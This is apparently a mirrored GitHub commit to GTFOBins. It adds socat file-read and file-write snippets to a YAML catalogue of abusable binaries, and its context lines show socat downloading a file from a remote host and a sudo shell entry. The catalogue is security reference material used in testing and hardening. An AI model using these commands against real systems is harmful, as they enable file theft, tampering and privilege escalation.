mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
Add socat file-read/write
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
parent
a981bc1968
commit
28c6924beb
@ -29,6 +29,14 @@ functions:
|
|||||||
RPORT=12345
|
RPORT=12345
|
||||||
LFILE=file_to_save
|
LFILE=file_to_save
|
||||||
socat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat
|
socat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
socat -u "file:$LFILE" -
|
||||||
|
file-write:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_write
|
||||||
|
socat -u 'exec:echo DATA' "open:$LFILE,creat"
|
||||||
sudo:
|
sudo:
|
||||||
- description: The resulting shell is not a proper TTY shell and lacks the prompt.
|
- description: The resulting shell is not a proper TTY shell and lacks the prompt.
|
||||||
code: |
|
code: |
|
||||||
|
Loading…
Reference in New Issue
Block a user